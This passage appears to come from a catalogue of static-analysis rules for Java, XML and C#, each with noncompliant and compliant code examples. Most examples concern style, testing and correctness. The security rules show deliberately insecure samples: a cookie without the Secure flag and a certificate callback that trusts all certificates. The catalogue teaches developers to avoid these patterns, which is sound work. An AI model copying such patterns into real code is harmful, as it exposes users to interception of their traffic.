The rule also checks for Guava's Optional, as it was the inspiration for the JDK Optional. Although it is different in some aspects (serialization, being recommended for use as collection elements), using it as a parameter type causes exactly the same problems as for JDK Optional.

Noncompliant Code Example

public String sayHello(Optional<String> name) {  // Noncompliant
  if (name == null || !name.isPresent()) {
    return "Hello World";
  } else {
    return "Hello " + name;
  }
}

Compliant Solution

public String sayHello(String name) {
  if (name == null) {
    return "Hello World";
  } else {
    return "Hello " + name;
  }
}
java:S1132

It is preferable to place string literals on the left-hand side of an equals() or equalsIgnoreCase() method call.

This prevents null pointer exceptions from being raised, as a string literal can never be null by definition.

Noncompliant Code Example

String myString = null;

System.out.println("Equal? " + myString.equals("foo"));                        // Noncompliant; will raise a NPE
System.out.println("Equal? " + (myString != null && myString.equals("foo")));  // Noncompliant; null check could be removed

Compliant Solution

System.out.println("Equal?" + "foo".equals(myString));                         // properly deals with the null case
java:S5970

The Spring framework comes with dedicated classes to help writing better and simpler unit tests. In particular, when testing applications built on top of Spring MVC, it is recommended to use Spring's ModelAndViewAssert assertions class, instead of manually testing MVC's properties.

 

This rule raises an issue when Spring's ModelAndViewAssert assertions should be used instead of manual testing.

Noncompliant Code Example

ModelAndView mav = getMyModelAndView();

Assert.assertEquals("register", mav.getViewName());
Assert.assertTrue((Boolean) mav.getModelMap().get("myAttribute"));
Assert.assertFalse((Boolean) mav.getModelMap().get("myAttribute"));
Assert.assertEquals(myObject, mav.getModelMap().get("myAttribute"));

Compliant Solution

ModelAndView mav = getMyModelAndView();

ModelAndViewAssert.assertViewName(mav, "register");
ModelAndViewAssert.assertModelAttributeValue(mav, "myAttribute", Boolean.TRUE);
ModelAndViewAssert.assertModelAttributeValue(mav, "myAttribute", Boolean.FALSE);
ModelAndViewAssert.assertModelAttributeValue(mav, "myAttribute", myObject);

See

java:S5850

In regular expressions, anchors (^, $, \A, \Z and \\z) have higher precedence than the | operator. So in a regular expression like ^alt1|alt2|alt3$, alt1 would be anchored to the beginning, alt3 to the end and alt2 wouldn't be anchored at all. Usually the intended behavior is that all alternatives are anchored at both ends. To achieve this, a non-capturing group should be used around the alternatives.

In cases where it is intended that the anchors only apply to one alternative each, adding (non-capturing) groups around the anchors and the parts that they apply to will make it explicit which parts are anchored and avoid readers misunderstanding the precedence or changing it because they mistakenly assume the precedence was not intended.

Noncompliant Code Example

^a|b|c$

Compliant Solution

^(?:a|b|c)$

or

^a$|^b$|^c$

or, if you do want the anchors to only apply to a and c respectively:

(?:^a)|b|(?:c$)
java:S2221

Catching Exception seems like an efficient way to handle multiple possible exceptions. Unfortunately, it traps all exception types, both checked and runtime exceptions, thereby casting too broad a net. Indeed, was it really the intention of developers to also catch runtime exceptions? To prevent any misunderstanding, if both checked and runtime exceptions are really expected to be caught, they should be explicitly listed in the catch clause.

This rule raises an issue if Exception is caught when it is not explicitly thrown by a method in the try block.

Noncompliant Code Example

try {
  // do something that might throw an UnsupportedDataTypeException or UnsupportedEncodingException
} catch (Exception e) { // Noncompliant
  // log exception ...
}

Compliant Solution

try {
  // do something
} catch (UnsupportedEncodingException|UnsupportedDataTypeException|RuntimeException e) {
  // log exception ...
}

or if runtime exceptions should not be caught:

try {
  // do something
} catch (UnsupportedEncodingException|UnsupportedDataTypeException e) {
  // log exception ...
}

See

java:S1133

This rule is meant to be used as a way to track code which is marked as being deprecated. Deprecated code should eventually be removed.

Noncompliant Code Example

class Foo {
  /**
   * @deprecated
   */
  public void foo() {    // Noncompliant
  }

  @Deprecated            // Noncompliant
  public void bar() {
  }

  public void baz() {    // Compliant
  }
}
java:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

int divide(int numerator, int denominator) {
  return numerator / denominator;              // FIXME denominator value might be  0
}

See

java:S4524

switch can contain a default clause for various reasons: to handle unexpected values, to show that all the cases were properly considered.

For readability purpose, to help a developer to quickly find the default behavior of a switch statement, it is recommended to put the default clause at the end of the switch statement. This rule raises an issue if the default clause is not the last one of the switch's cases.

Noncompliant Code Example

switch (param) {
  case 0:
    doSomething();
    break;
  default: // default clause should be the last one
    error();
    break;
  case 1:
    doSomethingElse();
    break;
}

Compliant Solution

switch (param) {
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
  default:
    error();
    break;
}
java:S5976

When multiple tests differ only by a few hardcoded values they should be refactored as a single "parameterized" test. This reduces the chances of adding a bug and makes them more readable. Parameterized tests exist in most test frameworks (JUnit, TestNG, etc...).

The right balance needs of course to be found. There is no point in factorizing test methods when the parameterized version is a lot more complex than initial tests.

This rule raises an issue when at least 3 tests could be refactored as one parameterized test with less than 4 parameters. Only test methods which have at least one duplicated statement are considered.

Noncompliant Code Example

with JUnit 5

import static org.junit.jupiter.api.Assertions.assertEquals;

import org.junit.jupiter.api.Test;

public class AppTest
{
    @Test
    void test_not_null1() {  // Noncompliant. The 3 following tests differ only by one hardcoded number.
      setupTax();
      assertNotNull(getTax(1));
    }

    @Test
    void test_not_null2() {
      setupTax();
      assertNotNull(getTax(2));
    }

    @Test
    void test_not_nul3l() {
      setupTax();
      assertNotNull(getTax(3));
    }

    @Test
    void testLevel1() {  // Noncompliant. The 3 following tests differ only by a few hardcoded numbers.
        setLevel(1);
        runGame();
        assertEquals(playerHealth(), 100);
    }

    @Test
    void testLevel2() {  // Similar test
        setLevel(2);
        runGame();
        assertEquals(playerHealth(), 200);
    }

    @Test
    void testLevel3() {  // Similar test
        setLevel(3);
        runGame();
        assertEquals(playerHealth(), 300);
    }
}

Compliant Solution

import static org.junit.jupiter.api.Assertions.assertEquals;

import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.CsvSource;

public class AppTest
{

   @ParameterizedTest
   @ValueSource(ints = {1, 2, 3})
   void test_not_null(int arg) {
     setupTax();
     assertNotNull(getTax(arg));
   }

    @ParameterizedTest
    @CsvSource({
        "1, 100",
        "2, 200",
        "3, 300",
    })
    void testLevels(int level, int health) {
        setLevel(level);
        runGame();
        assertEquals(playerHealth(), health);
    }
}

See

java:S5856

Regular expressions have their own syntax that is understood by regular expression engines. Those engines will throw an exception at runtime if they are given a regular expression that does not conform to that syntax.

To avoid syntax errors, special characters should be escaped with backslashes when they are intended to be matched literally and references to capturing groups should use the correctly spelled name or number of the group.

To match a literal string, rather than a regular expression, either all special characters should be escaped or the Pattern.LITERAL flag or methods that don't use regular expressions should be used.

Noncompliant Code Example

Pattern.compile("([");
str.matches("([");
str.replaceAll("([", "{");

str.matches("(\\w+-(\\d+)");
str.matches("(?<name>\\w+)-\\k<nae>");

Compliant Solution

Pattern.compile("\\(\\[");
Pattern.compile("([", Pattern.LITERAL);
str.equals("([");
str.replace("([", "{");

str.matches("(\\w+)-(\\d+)");
str.matches("(?<name>\\w+)-\\k<name>");
java:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

void doSomething() {
  // TODO
}

See

java:S5977

Tests should always:

  • Make sure that production code behaves as expected, including edge cases.
  • Be easy to debug, i.e. understandable and reproducible.

Using random values in tests will not necessarily check edge cases, and it will make test logs a lot harder to read. It is better to use easily readable hardcoded values. If this makes your code bigger you can use helper functions.

There is one valid use case for random data in tests: when testing every value would make tests impractically slow. In this case the best you can do is use random to test every value on the long run. You should however make sure that random values are logged so that you can reproduce failures. Some libraries exist to make all this easier. You can for example use property-based testing libraries such as jqwik.

This rule raises an issue when new Random() or UUID.randomUUID() are called in test code.

Noncompliant Code Example

int userAge = new Random().nextInt(42);  // Noncompliant
UUID userID = UUID.randomUUID(); // Noncompliant

Compliant Solution

int userAge = 31;
UUID userID = UUID.fromString("00000000-000-0000-0000-000000000001");

See

java:S2589

If a boolean expression doesn't change the evaluation of the condition, then it is entirely unnecessary, and can be removed. If it is gratuitous because it does not match the programmer's intent, then it's a bug and the expression should be fixed.

Noncompliant Code Example

a = true;
if (a) { // Noncompliant
  doSomething();
}

if (b && a) { // Noncompliant; "a" is always "true"
  doSomething();
}

if (c || !a) { // Noncompliant; "!a" is always "false"
  doSomething();
}

Compliant Solution

a = true;
if (foo(a)) {
  doSomething();
}

if (b) {
  doSomething();
}

if (c) {
  doSomething();
}

See

java:S2226

By contract, a servlet container creates one instance of each servlet and then a dedicated thread is attached to each new incoming HTTP request to process the request. So all threads share the servlet instances and by extension their instance fields. To prevent any misunderstanding and unexpected behavior at runtime, all servlet fields should then be either static and/or final, or simply removed.

With Struts 1.X, the same constraint exists on org.apache.struts.action.Action.

Noncompliant Code Example

public class MyServlet extends HttpServlet {
  private String userName;  //As this field is shared by all users, it's obvious that this piece of information should be managed differently
  ...
}

or

public class MyAction extends Action {
  private String userName;  //Same reason
  ...
}

See

  • CERT, MSC11-J. - Do not let session information leak within a servlet
java:S3436

According to the documentation,

A program may produce unpredictable results if it attempts to distinguish two references to equal values of a value-based class, whether directly via reference equality or indirectly via an appeal to synchronization...

This is because value-based classes are intended to be wrappers for value types, which will be primitive-like collections of data (similar to structs in other languages) that will come in future versions of Java.

Instances of a value-based class ...

  • do not have accessible constructors, but are instead instantiated through factory methods which make no committment as to the identity of returned instances;

Which means that you can't be sure you're the only one trying to lock on any given instance of a value-based class, opening your code up to contention and deadlock issues.

Under Java 8 breaking this rule may not actually break your code, but there are no guarantees of the behavior beyond that.

This rule raises an issue when a known value-based class is used for synchronization. That includes all the classes in the java.time package except Clock; the date classes for alternate calendars, HijrahDate, JapaneseDate, MinguoDate, ThaiBuddhistDate; and the optional classes: Optional, OptionalDouble, OptionalLong, OptionalInt.

Note that this rule is automatically disabled when the project's sonar.java.source is lower than 8.

Noncompliant Code Example

Optional<Foo> fOpt = doSomething();
synchronized (fOpt) {  // Noncompliant
  // ...
}

See

java:S5853

AssertJ assertions methods targeting the same object can be chained instead of using multiple assertThat. It avoids duplication and increases the clarity of the code.

This rule raises an issue when multiples assertThat target the same tested value.

Noncompliant Code Example

assertThat(someList).hasSize(3);
assertThat(someList).contains("something");

Compliant Solution

assertThat(someList)
  .hasSize(3)
  .contains("something");
java:S1258

Non-abstract classes and enums with non-static, private members should explicitly initialize those members, either in a constructor or with a default value.

Noncompliant Code Example

class A { // Noncompliant
  private int field;
}

Compliant Solution

class A {
  private int field;

  A(int field) {
    this.field = field;
  }
}

Exceptions

java:S5854

Characters like 'é' can be expressed either as a single code point or as a cluster of the letter 'e' and a combining accent mark. Without the CANON_EQ flag, a regex will only match a string in which the characters are expressed in the same way.

Noncompliant Code Example

String s = "e\u0300";
Pattern p = Pattern.compile("é|ë|è"); // Noncompliant
System.out.println(p.matcher(s).replaceAll("e")); // print 'é'

Compliant Solution

String s = "e\u0300";
Pattern p = Pattern.compile("é|ë|è", Pattern.CANON_EQ);
System.out.println(p.matcher(s).replaceAll("e")); // print 'e'
java:S5612

Lambdas (introduced with Java 8) are a very convenient and compact way to inject a behavior without having to create a dedicated class or method. But those lambdas should be used only if the behavior to be injected can be defined in a few lines of code, otherwise the source code can quickly become unreadable.

java:S2225

Calling toString() or clone() on an object should always return a string or an object. Returning null instead contravenes the method's implicit contract.

Noncompliant Code Example

public String toString () {
  if (this.collection.isEmpty()) {
    return null; // Noncompliant
  } else {
    // ...

Compliant Solution

public String toString () {
  if (this.collection.isEmpty()) {
    return "";
  } else {
    // ...

See

xml:S1778

The prolog header is the following piece of code that some XML documents start with:

<?xml version="y.x" encoding="zzzzz"?>

When the prolog exists in an XML document, it should be at the beginning of the file to enable programs to determine the encoding of non-UTF-8, non-UTF-16 files.

Noncompliant Code Example

<!-- Generated file -->  <!--  Noncompliant  -->
<?xml version="1.0" encoding="UTF-8"?>
<firstNode>
  content
</firstNode>

Compliant Solution

<?xml version="1.0" encoding="UTF-8"?>
<!-- Generated file -->
<firstNode>
  content
</firstNode>
xml:S2260

When the XML parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse.

xml:NewlineCheck

Each element should be on a line to itself.

Noncompliant Code Example

<parent><child /></parent>  <!-- Noncompliant -->

Compliant Solution

<parent>
  <child />
</parent>
xml:IndentCheck

Proper indentation is a simple and effective way to improve the code's readability. Consistent indentation among the developers within a team also reduces the differences that are committed to source control systems, making code reviews easier.

By default this rule checks that each block of code is indented, although it does not check the size of the indent. Parameter "indentSize" allows the expected indent size to be defined. Only the first line of a badly indented section is reported.

xml:XPathCheck

This rule allows the definition of custom rules using XPath expressions.

Issues are created depending on the return value of the XPath expression. If the XPath expression returns:

  • a single or list of AST nodes, then a line issue with the given message is created for each node
  • a boolean, then a file issue with the given message is created only if the boolean is true
  • anything else, no issue is created

Here is an example of an XPath expression to log an issue on each 'td' tag using the 'nowrap' deprecated attribute:

//td[@nowrap]
xml:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

xml:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

See

  • MISRA C:2004, 2.4 - Sections of code should not be "commented out".
  • MISRA C++:2008, 2-7-2 - Sections of code shall not be "commented out" using C-style comments.
  • MISRA C++:2008, 2-7-3 - Sections of code should not be "commented out" using C++ comments.
  • MISRA C:2012, Dir. 4.4 - Sections of code should not be "commented out"
xml:IllegalTabCheck

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

xml:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

<!-- FIXME we should update version to 3.8.1 -->
<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-lang3</artifactId>
  <version>3.6</version>
</dependency>

See

xml:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

<!-- TODO Drop this dependency -->
<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-lang3</artifactId>
  <version>3.8.1</version>
</dependency>

See

csharpsquid:S2092

When a cookie is protected with the secure attribute set to true it will not be send by the browser over an unencrypted HTTP request and thus cannot be observed by an unauthorized person during a man-in-the-middle attack.

Ask Yourself Whether

  • the cookie is for instance a session-cookie not designed to be sent over non-HTTPS communication.
  • it's not sure that the website contains mixed content or not (ie HTTPS everywhere or not)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • It is recommended to use HTTPs everywhere so setting the secure flag to true should be the default behaviour when creating cookies.
  • Set the secure flag to true for session-cookies.

Sensitive Code Example

In C# you can specify the secure flag with the HttpCookie.secure property:

HttpCookie myCookie = new HttpCookie("Sensitive cookie");
myCookie.Secure = false; //  Sensitive: a security-sensitive cookie is created with the secure flag set to false

The default value of secure flag is false:

HttpCookie myCookie = new HttpCookie("Sensitive cookie");
//  Sensitive: a security-sensitive cookie is created with the secure flag not defined (by default set to false)

Compliant Solution

HttpCookie myCookie = new HttpCookie("Sensitive cookie");
myCookie.Secure = true; // Compliant: the security-sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (Secure property) set to true

See

csharpsquid:S3060

There's no valid reason to test this with is. The only plausible explanation for such a test is that you're executing code in a parent class conditionally based on the kind of child class this is. But code that's specific to a child class should be in that child class, not in the parent.

Noncompliant Code Example

public class JunkFood
{
  public void DoSomething()
  {
    if (this is Pizza) // Noncompliant
    {
      // ...
    } else if (...
  }
}
csharpsquid:S4275

Properties provide a way to enforce encapsulation by providing public, protected or internal methods that give controlled access to private fields. However in classes with multiple fields it is not unusual that cut and paste is used to quickly create the needed properties, which can result in the wrong field being accessed by a getter or setter.

This rule raises an issue in any of these cases:

  • A setter does not update the field with the corresponding name.
  • A getter does not access the field with the corresponding name.

For simple properties it is better to use auto-implemented properties (C# 3.0 or later).

Field and property names are compared as case-insensitive. All underscore characters are ignored.

Noncompliant Code Example

class A
{
    private int x;
    private int y;

    public int X
    {
        get { return x; }
        set { x = value; }
    }

    public int Y
    {
        get { return x; }  // Noncompliant: field 'y' is not used in the return value
        set { x = value; } // Noncompliant: field 'y' is not updated
    }
}

Compliant Solution

class A
{
    private int x;
    private int y;

    public int X
    {
        get { return x; }
        set { x = value; }
    }

    public int Y
    {
        get { return y; }
        set { y = value; }
    }
}
csharpsquid:S3869

Not surprisingly, the SafeHandle.DangerousGetHandle method is dangerous. That's because it may not return a valid handle. Using it can lead to leaks and vulnerabilities. While it is possible to use the method successfully, it's extremely difficult to do correctly, so the method should simply be avoided altogether.

Noncompliant Code Example

static void Main(string[] args)
{
    System.Reflection.FieldInfo fieldInfo = ...;
    SafeHandle handle = (SafeHandle)fieldInfo.GetValue(rKey);
    IntPtr dangerousHandle = handle.DangerousGetHandle();  // Noncompliant
}
csharpsquid:S4834

The access control of an application must be properly implemented in order to restrict access to resources to authorized entities otherwise this could lead to vulnerabilities:

Granting correct permissions to users, applications, groups or roles and defining required permissions that allow access to a resource is sensitive, must therefore be done with care. For instance, it is obvious that only users with administrator privilege should be authorized to add/remove the administrator permission of another user.

Ask Yourself Whether

  • Granted permission to an entity (user, application) allow access to information or functionalities not needed by this entity.
  • Privileges are easily acquired (eg: based on the location of the user, type of device used, defined by third parties, does not require approval ...).
  • Inherited permission, default permission, no privileges (eg: anonymous user) is authorized to access to a protected resource.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

At minimum, an access control system should:

  • Use a well-defined access control model like RBAC or ACL.
  • Entities' permissions should be reviewed regularly to remove permissions that are no longer needed.
  • Respect the principle of least privilege ("_an entity has access only the information and resources that are necessary for its legitimate purpose_").

Sensitive Code Example

using System.Threading;
using System.Security.Permissions;
using System.Security.Principal;
using System.IdentityModel.Tokens;

class SecurityPrincipalDemo
{
    class MyIdentity : IIdentity // Sensitive, custom IIdentity implementations should be reviewed
    {
        // ...
    }

    class MyPrincipal : IPrincipal // Sensitive, custom IPrincipal implementations should be reviewed
    {
        // ...
    }
    [System.Security.Permissions.PrincipalPermission(SecurityAction.Demand, Role = "Administrators")] // Sensitive. The access restrictions enforced by this attribute should be reviewed.
    static void CheckAdministrator()
    {
        WindowsIdentity MyIdentity = WindowsIdentity.GetCurrent(); // Sensitive
        HttpContext.User = ...; // Sensitive: review all reference (set and get) to System.Web HttpContext.User
        AppDomain domain = AppDomain.CurrentDomain;
        domain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal); // Sensitive
        MyIdentity identity = new MyIdentity(); // Sensitive
        MyPrincipal MyPrincipal = new MyPrincipal(MyIdentity); // Sensitive
        Thread.CurrentPrincipal = MyPrincipal; // Sensitive
        domain.SetThreadPrincipal(MyPrincipal); // Sensitive

        // All instantiation of PrincipalPermission should be reviewed.
        PrincipalPermission principalPerm = new PrincipalPermission(null, "Administrators"); // Sensitive
        principalPerm.Demand();

        SecurityTokenHandler handler = ...;
        // Sensitive: this creates an identity.
        ReadOnlyCollection<ClaimsIdentity> identities = handler.ValidateToken(…);
    }

     // Sensitive: review how this function uses the identity and principal.
    void modifyPrincipal(MyIdentity identity, MyPrincipal principal)
    {
        // ...
    }
}

See

csharpsquid:S1206

There is a contract between Equals(object) and GetHashCode(): If two objects are equal according to the Equals(object) method, then calling GetHashCode() on each of them must yield the same result. If this is not the case, many collections won't handle class instances correctly.

In order to comply with the contract, Equals(object) and GetHashCode() should be either both inherited, or both overridden.

Noncompliant Code Example

class MyClass {    // Noncompliant - should also override "hashCode()"

  @Override
  public boolean equals(Object obj) {
    /* ... */
  }

}

Compliant Solution

class MyClass {    // Compliant

  @Override
  public boolean equals(Object obj) {
    /* ... */
  }

  @Override
  public int hashCode() {
    /* ... */
  }

}

See

  • MITRE, CWE-581 - Object Model Violation: Just One of Equals and Hashcode Defined
  • CERT, MET09-J. - Classes that define an equals() method must also define a hashCode() method
csharpsquid:S3626

Jump statements, such as return, yield break, goto, and continue let you change the default flow of program execution, but jump statements that direct the control flow to the original direction are just a waste of keystrokes.

Noncompliant Code Example

void Foo()
{
  goto A; // Noncompliant
  A:
  while (condition1)
  {
    if (condition2)
    {
      continue; // Noncompliant
    }
    else
    {
      DoTheThing();
    }
  }
  return; // Noncompliant; this is a void method
}

Compliant Solution

void Foo()
{
  while (condition1)
  {
    if (!condition2)
    {
      DoTheThing();
    }
  }
}
csharpsquid:S1449

string.ToLower(), ToUpper, IndexOf, LastIndexOf, and Compare are all culture-dependent, as are some (floating point number and DateTime-related) calls to ToString. Fortunately, all have variants which accept an argument specifying the culture or formatter to use. Leave that argument off and the call will use the system default culture, possibly creating problems with international characters.

string.CompareTo() is also culture specific, but has no overload that takes a culture information, so instead it's better to use CompareOrdinal, or Compare with culture.

Calls without a culture may work fine in the system's "home" environment, but break in ways that are extremely difficult to diagnose for customers who use different encodings. Such bugs can be nearly, if not completely, impossible to reproduce when it's time to fix them.

Noncompliant Code Example

var lowered = someString.ToLower(); //Noncompliant

Compliant Solution

var lowered = someString.ToLower(CultureInfo.InvariantCulture);

or

var lowered = someString.ToLowerInvariant();

See

  • CERT, STR02-J. - Specify an appropriate locale when comparing locale-dependent data
csharpsquid:S4035

When a class implements the IEquatable<T> interface, it enters a contract that, in effect, states "I know how to compare two instances of type T or any type derived from T for equality.". However if that class is derived, it is very unlikely that the base class will know how to make a meaningful comparison. Therefore that implicit contract is now broken.

Alternatively IEqualityComparer<T> provides a safer interface and is used by collections or Equals could be made virtual.

This rule raises an issue when a unsealed, public or protected class implements IEquitable<T> and the Equals is neither virtual nor abstract.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  class Base : IEquatable<Base> // Noncompliant
  {
    bool Equals(Base other)
    {
      if (other == null) { return false };
      // do comparison of base properties
    }

    override bool Equals(object other)  => Equals(other as Base);
  }

  class A : Base
  {
    bool Equals(A other)
    {
      if (other == null) { return false };
      // do comparison of A properties
      return base.Equals(other);
    }

    override bool Equals(object other)  => Equals(other as A);
  }

  class B : Base
  {
    bool Equals(B other)
    {
      if (other == null) { return false };
      // do comparison of B properties
     return base.Equals(other);
    }

    override bool Equals(object other)  => Equals(other as B);
  }

  static void Main() {
    A a = new A();
    B b = new B();

    Console.WriteLine(a.Equals(b)); // This calls the WRONG equals. This causes Base::Equals(Base)
    //  to be called which only compares the properties in Base and ignores the fact that
    // a and b are different types. In the working example A::Equals(Object) would have been
    // called and Equals would return false because it correctly recognizes that a and b are
    // different types. If a and b have the same base properties they will  be returned as equal.
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
    public sealed class Foo : IEquatable<Foo>
    {
        public bool Equals(Foo other)
        {
            // Your code here
        }
    }
}

See

IEqualityComparer<T> Interface

csharpsquid:S4158

When a collection is empty it makes no sense to access or iterate it. Doing so anyway is surely an error; either population was accidentally omitted or the developer doesn't understand the situation.

This rule raises an issue when any use is made of an empty collection other than the following ignored calls: Add, AddRange, Equals, GetHashCode.

Noncompliant Code Example

var strings = new List<string>();

strings.Remove("bar");  // Noncompliant

if (strings.Contains("foo")) {}  // Noncompliant

foreach (var str in strings) {}  // Noncompliant
csharpsquid:S3981

The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or equal to zero doesn't make sense, since the result is always true. Similarly testing that it is less than zero will always return false. Perhaps the intent was to check the non-emptiness of the collection or array instead.

Noncompliant Code Example

if(collection.Count >= 0){...}

if(enumerable.Count() < 0){...}

if(array.Length >= 0){...}

bool result = array.Length >=0;

Compliant Solution

if (list.Any()) { ... }

if (list.Count > 0) { ... }

if (array.Length >= 42) { ... }
csharpsquid:S4277

Marking a class with PartCreationPolicy(CreationPolicy.Shared), which is part of Managed Extensibility Framework (MEF), means that a single, shared instance of the exported object will be created. Therefore it doesn't make sense to create new instances using the constructor and it will most likely result in unexpected behaviours.

This rule raises an issue when a constructor of a class marked shared with a PartCreationPolicyAttribute is invoked.

Noncompliant Code Example

[Export(typeof(IFooBar))]
[PartCreationPolicy(CreationPolicy.Shared)]
public class FooBar : IFooBar
{
}

public class Program
{
    public static void Main()
    {
        var fooBar = new FooBar(); // Noncompliant;
    }
}

Compliant Solution

[Export(typeof(IFooBar))]
[PartCreationPolicy(CreationPolicy.Shared)]
public class FooBar : IFooBar
{
}

public class Program
{
    public static void Main()
    {
        var fooBar = serviceProvider.GetService<IFooBar>();
    }
}
csharpsquid:S1200

According to the Single Responsibility Principle, introduced by Robert C. Martin in his book "Principles of Object Oriented Design", a class should have only one responsibility:

If a class has more than one responsibility, then the responsibilities become coupled.

Changes to one responsibility may impair or inhibit the class' ability to meet the others.

This kind of coupling leads to fragile designs that break in unexpected ways when changed.

Classes which rely on many other classes tend to aggregate too many responsibilities and should be split into several smaller ones.

Nested classes dependencies are not counted as dependencies of the outer class.

Noncompliant Code Example

With a threshold of 5:

public class Foo    // Noncompliant - Foo depends on too many classes: T1, T2, T3, T4, T5, T6 and T7
{
  private T1 a1;    // Foo is coupled to T1
  private T2 a2;    // Foo is coupled to T2
  private T3 a3;    // Foo is coupled to T3

  public T4 Compute(T5 a, T6 b)    // Foo is coupled to T4, T5 and T6
  {
    T7 result = a.Process(b);    // Foo is coupled to T7
    return result;
  }

  public static class Bar    // Compliant - Bar depends on 2 classes: T8 and T9
  {
    public T8 a8;
    public T9 a9;
  }
}
csharpsquid:S3984

Creating a new Exception without actually throwing it is useless and is probably due to a mistake.

Noncompliant Code Example

if (x < 0)
{
  new ArgumentException("x must be nonnegative");
}

Compliant Solution

if (x < 0)
{
  throw new ArgumentException("x must be nonnegative");
}
csharpsquid:S4039

When a base type explicitly implements a public interface method, that method is only accessible in derived types through a reference to the current instance (namely this). If the derived type explicitly overrides that interface method, the base implementation becomes inaccessible.

This rule raises an issue when an unsealed, externally visible type provides an explicit method implementation of a public interface and does not provide an alternate, externally visible method with the same name.

Noncompliant Code Example

public interface IMyInterface
{
    void MyMethod();
}

public class Foo : IMyInterface
{
    void IMyInterface.MyMethod() // Noncompliant
    {
        MyMethod();
    }

    void MyMethod()
    {
        // Do something ...
    }
}

public class Bar : Foo, IMyInterface
{
    public void MyMethod()
    {
        // Can't access base.MyMethod()
        // ((IMyInterface)this).MyMethod() would be a recursive call
    }
}

Compliant Solution

public interface IMyInterface
{
    void MyMethod();
}

public class Foo : IMyInterface
{
    void IMyInterface.MyMethod()
    {
        MyMethod();
    }

    protected void MyMethod() // or public
    {
        // Do something ...
    }
}

public class Bar : Foo, IMyInterface
{
    public void MyMethod()
    {
        // Do something
        base.MyMethod();
    }
}

Exceptions

This rule does not report a violation for an explicit implementation of IDisposable.Dispose when an externally visible Close() or System.IDisposable.Dispose(Boolean) method is provided.

csharpsquid:S4830

Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks.

The certificate chain validation includes these steps:

  • The certificate is issued by its parent Certificate Authority or the root CA trusted by the system.
  • Each CA is allowed to issue certificates.
  • Each certificate in the chain is not expired.

It's not recommended to reinvent the wheel by implementing custom certificate chain validation.

TLS libraries provide built-in certificate validation functions that should be used.

Noncompliant Code Example

ServicePointManager.ServerCertificateValidationCallback +=
    (sender, certificate, chain, errors) => {
        return true; // Noncompliant: trust all certificates
    };

Compliant Solution

ServicePointManager.ServerCertificateValidationCallback +=
    (sender, certificate, chain, errors) =>
    {
        if (development) return true; // for development, trust all certificates
        return errors == SslPolicyErrors.None
            && validCerts.Contains(certificate.GetCertHashString()); // Compliant: trust only some certificates
    };

See

csharpsquid:S4159

In the Attributed Programming Model, the ExportAttribute declares that a part "exports", or provides to the composition container, an object that fulfills a particular contract. During composition, parts with imports that have matching contracts will have those dependencies filled by the exported object.

If the type doesn't implement the interface it is exporting there will be an issue at runtime (either a cast exception or just a container not filled with the exported type) leading to unexpected behaviors/crashes.

The rule raises an issue when a class doesn't implement or inherit the type declared in the ExportAttribute.

Noncompliant Code Example

[Export(typeof(ISomeType))]
public class SomeType // Noncompliant; doesn't implement 'ISomeType'.
{
}

Compliant Solution

[Export(typeof(ISomeType))]
public class SomeType : ISomeType
{
}
csharpsquid:S4260

When creating a custom Markup Extension that accepts parameters in WPF, the ConstructorArgument markup must be used to identify the discrete properties that match these parameters. However since this is done via a string, the compiler will not notice if there are typos.

This rule raises an issue when the string argument to ConstructorArgumentAttribute doesn't match any parameter of any constructor.

Noncompliant Code Example

using System;

namespace myLibrary
{
  public class MyExtension : MarkupExtension
  {
    public MyExtension() { }

    public MyExtension(object value1)
    {
      Value1 = value1;
    }

    [ConstructorArgument("value2")]   // Noncompliant
    public object Value1 { get; set; }
  }
}

Compliant Solution

using System;

namespace myLibrary
{
  public class MyExtension : MarkupExtension
  {
    public MyExtension() { }

    public MyExtension(object value1)
    {
      Value1 = value1;
    }

    [ConstructorArgument("value1")]
    public object Value1 { get; set; }
  }
}
csharpsquid:S4142

There are valid cases for passing a variable multiple times into the same method call, but usually doing so is a mistake, and something else was intended for one of the arguments.

Noncompliant Code Example

if (Compare(point.X, point.X) != 0) // Noncompliant
{
  //...
}

if (DoSomething(GetNextValue(), GetNextValue()))  // Noncompliant
{
  // ...
}

Compliant Solution

if (Compare(point.X, point.Y) != 0)
{
  //...
}

var v1 = GetNextValue();
var v2 = GetNextValue();
if (DoSomething(v1, v2))
{
  // ...
}

Deprecated

This rule is deprecated, and will eventually be removed.

csharpsquid:S3052

The compiler automatically initializes class fields, auto-properties and events to their default values before setting them with any initialization values, so there is no need to explicitly set a member to its default value. Further, under the logic that cleaner code is better code, it's considered poor style to do so.

Noncompliant Code Example

class X
{
  public int field = 0; // Noncompliant
  public object o = null; // Noncompliant
  public object MyProperty { get; set; } = null; // Noncompliant
